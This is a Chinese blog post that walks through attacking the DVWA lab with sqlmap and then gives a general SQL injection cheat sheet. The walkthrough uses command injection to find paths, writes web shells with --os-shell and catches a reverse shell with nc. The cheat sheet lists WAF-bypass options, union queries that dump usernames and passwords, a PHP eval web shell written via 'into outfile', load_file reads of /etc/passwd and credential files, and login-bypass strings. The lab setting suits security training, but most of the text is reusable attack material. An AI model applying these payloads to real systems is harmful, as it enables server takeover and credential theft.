【sqlmap上传shell--dvwa演示】--sql注入常用语句


sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。


提示:以下是本篇文章正文内容,下面案例可供参考

一、获取路径

在这里插入图片描述

选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径(服务器端为linux系统)
windows系统的话输入:

10.1.1.136 & dir

得到可用路径如下:
/opt/lampp/htdocs/vulnerabilities/exec

二、利用sqlmap写shell

选择SQL Injection,输入一个数,使用burpsuite进行抓包,获取cookie。

判断用户是否为dba,输入命令:

sqlmap.py -u “http://xxx.xxx.xx.x/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low” --is-dba

在这里插入图片描述

1.写入shell

使用sqlmap进行交互式写shell

输入命令:

sqlmap.py -u "http://xxx.xxx.xx.x/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell

脚本类型为PHP,所以输入4

在这里插入图片描述

选择2,输入第二步得到的路径

在这里插入图片描述

写入2个shell,一个用来执行命令的,另一个是用来上传的,打开链接:http://10.1.1.136/vulnerabilities/exec/tmpujhum.php

在这里插入图片描述

在这里插入图片描述
上传大马获取权限:
在这里插入图片描述

服务端开启监听,利用大马反弹shell
windows:

nccat.exe -lvp 1234

linux:

nc -lvp 1234

成功收到反弹shell
在这里插入图片描述

然后就可以根据自身需要开始工作。

2.sqlmap注入过程

代码如下(示例):

sqlmap注入某注入点并且dump出账号密码过程一览
sqlmap.py -u  “url”                                                              #“存在注入url”判断注入点
:sqlmap.py -u “url” --dbs                                                        #爆出所有数据库名字
:sqlmap.py -u “url” --current-user                                               #查看当前使用账号


爆flag或密码流程

**sqlmap.py -u “url” --current-db                                                #查看当前数据库
 
**sqlmap.py -u “url” --tables                                                    #列出数据库中所有表
或者sqlmap.py -u “url” -D “当前数据库名” --tables                                 #-D是指定数据库名称。
 
**-T:列要出字段的表。
sqlmap.py -u “存在注入url” -D “当前库” -T “想爆的表” --columns                     #列出数据库中的表中的字段
 
**
sqlmap.py -u “url ” -D “当前库” -T “想爆的表” -C “想爆的字段,两个字段用,隔开” --dump          
                                                                                 #-C指定要暴力拆解的字段        --dump将结果导出
跑出来表中的字段然后寻找flag或者对解账号和密码进行拆解,一般字段账号密码都是user/pass/password/username/keyword这些等等,自己找敏感的字段然后进行拆解。



3.常用sqlmap语句

sqlmap -u    注入点   检测注入点是否可用
sqlmap -u   注入点  --batch   自动输入
#暴数据库
sqlmap -u    注入点   --dbs  
Web当前使用的数据库
sqlmap -u    注入点   --current-db
Web数据库使用的账户
sqlmap -u    注入点   --current-user


列出sqlserver所有用户
sqlmap -u    注入点   --users

数据库账户与密码
sqlmap -u    注入点   --passwords

列出数据库中的表
sqlmap -u    注入点   -D tourdata  --tables (-D指定数据库名称)

列出表中字段
sqlmap -u    注入点   -D  tourdata -T  userb  --columns

爆字段内容
sqlmap -u注入点-D  tourdata -T  userb  -C “email,username,userpassword”  --dump  (将结果导出)

指定导出特定范围字段内容
sqlmap -u注入点-D  tourdata -T  userb  -C “email,username,userpassword”--start 1 --stop 10  --dump  (1,10行数)

Cookie注入
sqlmap -u    “注入点”   --cookie “id=97--level 2
sqlmap -u    “注入点”  --table --cookie “id=97--level 2
sqlmap -u    “注入点” --columns -T “user”  --cookie “id=97--level 2
sqlmap -u    “注入点” --dump  -C “username,password”--columns -T “user”  --cookie “id=97--level 2
python sqlmap.py  -u  “注入点”  -f --banner  --dbs  --users   #可对以上参数进行结合使用

绕过防火墙注入
确认是否开了WAF
Sqlmap  -u  “注入点”  --thread  10  --identify-waf  (首选)
sqlmap  -u  “注入点” --thread 10  --check-waf  备选

使用参数绕过
Sqlmap -u  “注入点” --random-agent -v 2   (浏览器绕过)
Sqlmap -u  “注入点”  --hpp  -v 3  (参数污染绕过) 
Sqlmap -u  “注入点”  --delay=3.5  --time-sec=60  
Sqlmap  -u  “注入点” --proxy=xxx.xxx.xx.x.8080  --proxy-cred=211.:985 代理注入
sqlmap  -u  “注入点” --ignore-proxy  禁止用代理注入,直接注入
sqlmap  -u  “注入点”  --flush-session  清空会话,重构注入
sqlmap  -u  “注入点” -hex  或者--no-cast  进行字符码转换
sqlmap  -u  “注入点” --mobile  对移动端的服务器进行注入
sqlmap  -u  “注入点” --tor  匿名注入

脚本注入的格式
sqlmap  -u  “注入点” --tamper=A.py,B.py  A,B是脚本

三.常用的sql手工注入方法-可结合sqlmap

1.url后插入

‘ and 1=1 或 and 1=2

and exists(select * from admin)                                           #判断数据库为admin
and exists(select admin from admin)                                       #判断admin数据库有无admin表
and exists (select password from admin)                                   #判断admin数据库中有无password表
and exitst (select top 1 len(admin)from admin)>1                            #猜测字段长度
and exists (select top 1 asc(mid(admin,1,1))from admin)>97                  #猜解第一条记录的第一位字符的ASCII码为97

2.手工联合查询:

order by 3                                                                    #判断长度为3
union select 1,2,3,4,5 ***  from admin(表)   (长度为多少写多少)              #联合查询
页面显示23  union select 1,admin,password,4,5,6,**                          #暴出用户名和密码
?id=xxx union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,password,17,18,19,20,21,22,23,24,25,26 from [D:/1.mdb].表名 垮库

?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,password,17,18,19,20,21,22,23,24,25,26 from [D:/1.mdb].表名 垮库

3.mysql数据库注入:

1.system_user()                            #系统用户名
2.user()                                   #用户名
3.current_user()                           #当前用户名
4.session_user()                           #链接数据库的用户名
5.database()                               #数据库库名
6.version()                                #mysql数据库版本信息
7.load_file()                              #转换成16或10进制 读取本地文件
8.@@datadir                                #读取数据库路径
9.@@basedir                                #MYSQL安装路径
10.@@version_compile_os                    #操作系统

4.SQL-SERVER系统表

对象类型(xtype)。

C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束(类型是 KRF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束(类型是 KV = 视图
X = 扩展存储过程

当xtype=‘U’ and status>0代表是用户建立的表,对象名就是表名,对象ID就是表

master.dbo.sysdatabases指的是在Master数据库里有一个sysdatabases表,这个表里存的这台服务器上是所有数据库的信息。

and exists(select * from sysobjects) //判断是否是MSSQL

获取第一个数据库库名: and 1=(select top 1 name from master…sysdatabases where
dbid>4)

获取第二个数据库库名: and 1=(select top 1 name from master…sysdatabases where
dbid>4 and name <> ‘第一个数据库库名’)

获取第一个当前使用的数据库表名: and 1=(select top 1 name from sysobjects where
xtype=‘u’)

获取第二个当前使用的数据库表名: and 1=(select top 1 name from sysobjects where
xtype='u’ and name <> ‘第一个数据库表名’)

获取第一个当前使用的数据库中的表(users)中的列名: and 1=(select top 1 name from syscolumns
where id=(select id from sysobjects where name = ‘users’))

获取第二个当前使用的数据库中的表(users)中的列名: and 1=(select top 1 name from syscolumns
where id=(select id from sysobjects where name=‘users’) and name <>
‘第一个列名’)

获取第一个当前使用的数据库中的表(users)中的列(uname)的字段: 简单理解:获取用户名 and 1=(select top 1
uname from users)

获取第一个当前使用的数据库中的表(users)中的列(upass)的字段: 简单理解:获取密码 and 1=(select top 1
upass from users)

5.写马的条件(Root权限)

1、知道站点物理路径

2、有足够大的权限(可以用select …. from mysql.user测试)

3、magic_quotes_gpc()=OFF

select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径’

and 1=2 union all select 一句话HEX值 into outfile ‘路径’

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

网站常用配置文件

config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
或者说网站存在可以直接爆出绝对路径的漏洞。

6.万能注入密码(post)

1.asp aspx万能密码

1:"or “a”="a

2: ')or(‘a’='a

3:or 1=1–

4:'or 1=1–

5:a’or’ 1=1–

6:"or 1=1–

7:‘or’a’='a

8:“or”="a’='a

9:‘or’‘=’

10:‘or’=‘or’

11:1 or ‘1’=‘1’=1

12:1 or ‘1’=‘1’ or 1=1

13: 'OR 1=1%00

14: "or 1=1%00

15:'xor

16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ‘’=’ (替换表名admin)

密码 1

17…admin’ or ‘a’='a 密码随便

PHP万能密码

'or 1=1/*

User: something

Pass: ’ or ‘1’='1

2.万能密码(jsp)

1’or’1’='1

admin’ or 1=1/*


总结

仅仅使用sqlmap注入是没有灵魂的,但确实好用。

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值